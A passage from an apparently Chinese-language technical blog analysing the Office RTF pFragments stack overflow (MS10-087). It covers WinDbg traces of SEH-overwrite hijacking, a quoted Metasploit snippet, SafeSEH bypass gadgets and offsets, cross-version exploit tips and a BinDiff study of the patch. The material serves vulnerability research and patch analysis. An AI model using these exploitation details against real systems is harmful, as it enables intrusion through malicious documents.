0x1237b4     +0x0c8  SegSs            : 0x23     +0x0cc  ExtendedRegisters : [512 ]  "???"  0 :000 > tBreakpoint 6  hit eax =00000000  ebx =00000000  ecx =30001bdd edx =7c9232bc esi =00000000  edi =00000000 eip =30001bdd esp =001233e4 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 WINWORD+0x1bdd : 30001bdd 59               pop      ecx  <---- 弹出异常处理函数返回地址 0 :000 > dd  esp 001233e4  7c9232a8 001234cc 0012ffb0 001234e8 001233f4  001234a0 0012ffb0 7c9232bc 0012ffb0 00123404   001234b4 7c92327a 001234cc 0012ffb000123414   001234e8 001234a0 30001bdd 00130000 00123424   001234cc 0012ffb0 7c94a9ef 001234cc00123434   0012ffb0 001234e8 001234a0 30001bdd00123444   00130000  001234cc 1104c830 00000000 00123454   00000000  00000000  00000000  00000000 0 :000 > peax =00000000  ebx =00000000  ecx =7c9232a8 edx =7c9232bc esi =00000000  edi =00000000 eip =30001bde esp =001233e8 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 WINWORD+0x1bde : 30001bde 59               pop      ecx  <---- 弹出第一个参数,_EXCEPTION_RECORD结构体指针 0 :000 > eax =00000000  ebx =00000000  ecx =001234cc edx =7c9232bc esi =00000000  edi =00000000 eip =30001bdf esp =001233ec ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 WINWORD+0x1bdf : 30001bdf c3              ret  <---- 返回到第二个参数(0x0012ffb0 ,ERR地址),也就是ERR->Next的内容形成的指令 0 :000 > eax =00000000  ebx =00000000  ecx =001234cc edx =7c9232bc esi =00000000  edi =00000000 eip =0012ffb0 esp =001233f0 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 0012ffb0 eb06            jmp      0012ffb8 <---- (jmp  short,0x0012ffb8 -0x0012ffb2 =0x06 ,其16 进制补码也为0x06 ,目的地址与当前指令的下一条指令的地址之差) 0 :000 > dt  _EXCEPTION_REGISTRATION_RECORD 0012ffb0ntdll!_EXCEPTION_REGISTRATION_RECORD    +0x000  Next             : 0xa29706eb  _EXCEPTION_REGISTRATION_RECORD    +0x004  Handler          : 0x30001bdd      _EXCEPTION_DISPOSITION  +0  0 :000 > peax =00000000  ebx =00000000  ecx =001234cc edx =7c9232bc esi =00000000  edi =00000000 eip =0012ffb8 esp =001233f0 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 0012ffb8 e91f38ffff      jmp      001237dc <---- (jmp  near ,0x001237dc -0x0012ffbd =-51169 ,其16 进制补码为0xFFFF381F ) 0 :000 > eax =00000000  ebx =00000000  ecx =001234cc edx =7c9232bc esi =00000000  edi =00000000 eip =001237dc esp =001233f0 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 001237dc b8e69036d6      mov      eax ,0D63690E6h  <---- Shellcode第一条指令 
  如上所述,我们已经分析了覆盖SEH记录,以及发生异常后,系统是怎样调用SEH异常处理程序的,还有通过pop/pop/ret形式的ROPGadget跳转到栈上构造的用于跳转到Shellcode的指令去执行,最终跳转到Shellcode执行。
  此过程可以简化为下图所示:
  msf中提供的漏洞利用模块就是使用覆盖SEH记录达成控制流劫持的。其中如下部分,就是关键部分,用于构建上图中的4,5两步骤:
1 2 3 4 5 6 7 8 9 10 11 def  add_target (rest, targ)     targ['Offsets' ].each { |off|                   seh = generate_seh_record(targ.ret)          rest[off, seh.length] = seh         distance = off + seh.length                  jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-"  + distance.to_s).encode_string         rest[off + seh.length, jmp_back.length] = jmp_back     } end 
环境:
  在Windows7中,已经引入了SEH校验机制SafeSEH。所以我们需要在未启用SafeSEH机制的模块中寻找POP/POP/RET形式的ROPGadget,来bypass SafeSEH。通过mona插件,我们可以知道msxml5.dll并未启用SafeSEH机制,而且在其中找到了POP/POP/RET形式的ROPGadget,其位于地址0x78812890处。
0x43 Office2003和Office2007 Exploit的通用性   在前面通过覆盖返回地址劫持控制流的方法中,因为XP&Office2003和Win7&Office2007的环境下,Office2003和Office2007的Word.exe都是未启用DEP的,所以都可以通过覆盖返回地址,在栈上执行Shellcode。而在Windows7中是支持映像ASLR的,所以需要在未启用ASLR的模块中,寻找“jmp esp”形式的ROPGadget。如果可以找到在两种环境下通用的ROPGadget,就可以实现Exploit的通用性。
  对于通过覆盖SEH记录劫持控制流的方法,我们需要关心的是当前环境是否启用SafeSEH和SEHOP。Windows XP是不支持SEHOP的,虽然Windows7支持SEHOP,但是其默认是关闭的。而SafeSEH在Windows XP和Windows7上都是支持的,所以我们需要bypass SafeSEH。这里使用的方法就是利用未启用SafeSEH的模块bypass SafeSEH,我们需要在未启用SafeSEH的模块中找到用于SEH劫持的POP/POP/RET形式的ROPGadget。如果模块未启用SafeSEH,并且该模块不是仅包含中间语言(IL,.Net编译),这个异常处理就可以被执行。
  在XP&Office2003环境下,pFragments缓冲区起始地址为0x001237dc,栈底为0x00130000,0x00130000-0x001237dc=0xc824。在Win7&Office2007的环境下,pFragments缓冲区起始地址为0x0011fdf4,栈底为0x00130000,0x00130000-0x0011fdf4=0x1020c(关闭ASLR)。未关闭ASLR的情况下,都是大于0x10000的。msf样本生成脚本中,使用的复制数据长度为0xc8ac,这也是为什么用msf生成的样本在XP&Office2003环境下,复制过程中就会触发内存访问异常,而在Win7&Office2007的环境下,数据复制完成后,对已经覆盖的栈数据进行访问时才触发内存访问异常。发生异常的原因,和“覆盖返回地址”节的一样,sub_30F0B5C2(Office2003)/sub_32E5955E(Office2007)的第5个参数未被修改为0x0,sub_30F0B5C2/sub_32E5955E返回前对已覆盖的栈数据进行访问,造成异常。
  “漏洞战争”中,泉哥提供的思路是Office2003通过覆盖返回地址进行漏洞利用,被利用来覆盖返回地址的地址是0x0026762f,在Office2003下是“call esp”的地址,该地址适用于Office2003 SP0-SP3等各个子版本,属于稳定的跳转地址。而在Office2007中,0x0026762f已不再是call/jmp esp形式的指令,但是用此地址覆盖Office2007中关键函数sub_32E5955E的返回地址,会造成异常,继而转入SEH异常处理程序。我们只需要同时覆盖Office2007环境下栈中最近的SEH记录,就可以劫持SEH异常处理程序。
  在msf漏洞利用模块中,Targets中有一个“Automatic”选项,其作用是将多个环境的相关Target数据糅合到一个样本中,达到Exploit的通用性。因为msf漏洞利用模块对于所有环境,使用的都是覆盖SEH记录进行漏洞利用,而不同环境下SEH记录距缓冲区起始地址的Offset各不相同,所以很少会出现数据冲突的情况。
0x50 漏洞修复 环境:
  既然要分析这个漏洞官方是怎么修复的,首先要找到此漏洞对应的补丁。由于漏洞年代久远,Microsoft的网站又发生了很大的改变,补丁的下载页面已经找不到了,只找到如下两个链接:Microsoft 安全公告 MS10-087 - 严重 MS10-087:Microsoft Office 中的漏洞可能允许远程代码执行 
  虽然当时的补丁公告页面已经无法下载补丁了,但是我们可以通过官方提供的补丁下载站 下载指定补丁。我们可以使用KB编号(Knowledge Base:知识库)进行搜索,或者使用此漏洞的微软漏洞编号MS10-087进行搜索就可以了。
  我下载的是Office2007的补丁。我的分析环境中使用的是Office2007,未安装任何Service Pack包。如果直接安装这个补丁的话,会提示下图所示错误:
  这里提示说有两个原因,原因一是升级修补程序可能更新的是不同版本的程序,也就是说,我们安装的版本与补丁检测的版本不匹配。原因二是升级修补程序不正确,也就是说补丁安装程序损坏了。经过思考,第一种的可能性大一点,我又查看了一下此漏洞的公告,公告中说此漏洞影响的是Office2007SP2版本,所以就想到可能是因为我没有安装Office2007SP2升级包。安装完Office2007SP2升级包,此漏洞的补丁就可以安装了。如下是补丁安装前后mso.dll的版本号:
1 2 3 1、SP2安装前:12.0.4518.1014 2、SP2安装后:12.0.6425.1000 3、补丁安装后:12.0.6545.5004 
  我这里使用的是“12.0.4518.1014”和“12.0.6545.5004”进行对比。这里要吐槽一下BinDiff这个工具,分析实在是太慢了。第一次我是用的是BinDiff4.3&IDA Pro6.8进行分析,结果我电脑开了一晚上也没分析完,前一个漏洞我也是用此版本来分析的,没出现任何问题。我看了一下BinDiff的文档,看到BinDiff4.3是基于IDA SDK6.95的,会不会是因为IDA的版本低了?又看到BinDiff4.2是基于IDA SDK6.8构建的,所以就想BinDiff4.2&IDA Pro6.8的组合应该没问题了吧。开始尝试,经过一段很长的时间,我终于成功了。期间,我还试了BinDiff5&IDA Pro7.2,并未成功,测试的原因是想看看新版本会不会缩短比较的时间。由于此漏洞涉及到的模块mso.dll比较大,生成的idb都在200MB左右,所以需要较长时间,请耐心等待。BinDiff4.3&IDA Pro6.8失败的特征是,BinDiff的进度条一直在显示Diff中,但是BinDiff的进程却在生成.BinDiff文件后,占用很少的CPU,可以分析出BinDiff因为某些原因卡住了,但并未提示错误。
  之前分析漏洞原因时,关键漏洞函数位于“12.0.4518.1014”版mso.dll的sub_32E5955E函数中,通过函数名,我们可以在Matched Functions中快速定位,找到之后,双击,就可以打开“12.0.4518.1014”版mso.dll的sub_32E5955E函数与“12.0.6545.5004”版mso.dll中的对应函数sub_32E0239B的FlowGraphs。通过对比代码块,我们可以快速定位到添加补丁代码的位置。下图是两个函数代码块的对比图:
  我们在IDA中找到多出来的那部分代码块,对其进行详细分析。结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 char  __userpurge sub_32E5955E@<al>(int  a1@<eax>, int  a2, int  a3, int  a4, int  *a5, int  a6){     ......     if  ( a6 )     {         v7 = *(_DWORD *)(sub_327A2549(*(_DWORD *)(a1 + 8 )) + 100 );         v17 = 0 ;         v8 = *(_DWORD *)v7;         v16 = 83886080 ;         (*(void  (__stdcall **)(int , int  *, int ))(v8 + 28 ))(v7, &v15, a3);         result = sub_32E5941B(v15, a2, a5 != 0  ? (unsigned  int )&v17 : 0 , a6);         if  ( result )         {             ......         }     }     else      {         sub_32E6AEA8(863334498 );         result = 0 ;     }     return  result; } char  __userpurge sub_32E0239B@<al>(int  a1@<eax>, int  a2, int  a3, int  a4, int  *a5, int  a6){     ......     if  ( a6 )     {         v7 = *(_DWORD *)(sub_327DAFBD(*(_DWORD *)(a1 + 8 )) + 100 );         v16 = 0 ;         v15 = 83886080 ;                  if  ( v7                                                  && (unsigned  int )(*(int  (__stdcall **)(int ))(*(_DWORD *)v7 + 48 ))(v7) <= 4              && (*(int  (__stdcall **)(int ))(*(_DWORD *)v7 + 44 ))(v7) > a4             && (*(int  (__stdcall **)(int ))(*(_DWORD *)v7 + 44 ))(v7) > a3             && a3 >= 0              && a4 >= 0                           && ((*(void  (__stdcall **)(int , int  *, int ))(*(_DWORD *)v7 + 28 ))(v7, &v14, a3),             (unsigned  __int8)sub_32E02258(v14, a2, a5 != 0  ? (unsigned  int )&v16 : 0 , a6)) )         {             ......         }         else          {             result = 0 ;         }     }     else      {         sub_32E197A4(863334498 );         result = 0 ;     }     return  result; } 
  可以看到补丁后的关键函数中只有满足了那个关键if中的很多条件才能执行到将pFragments属性数据复制到栈上的虚函数。因为涉及到了很多虚函数,只是静态分析是不行的,所以要结合动态调试确定虚函数的地址,进而分析虚函数的功能。功能我已经分析完,写在了上面代码的注释中。其中第一个条件就是判断pFragments属性数据长度的。如果pFragments属性数据大于4字节,则不再执行内存复制,直接返回,从而解决了此漏洞。
0x60 Reference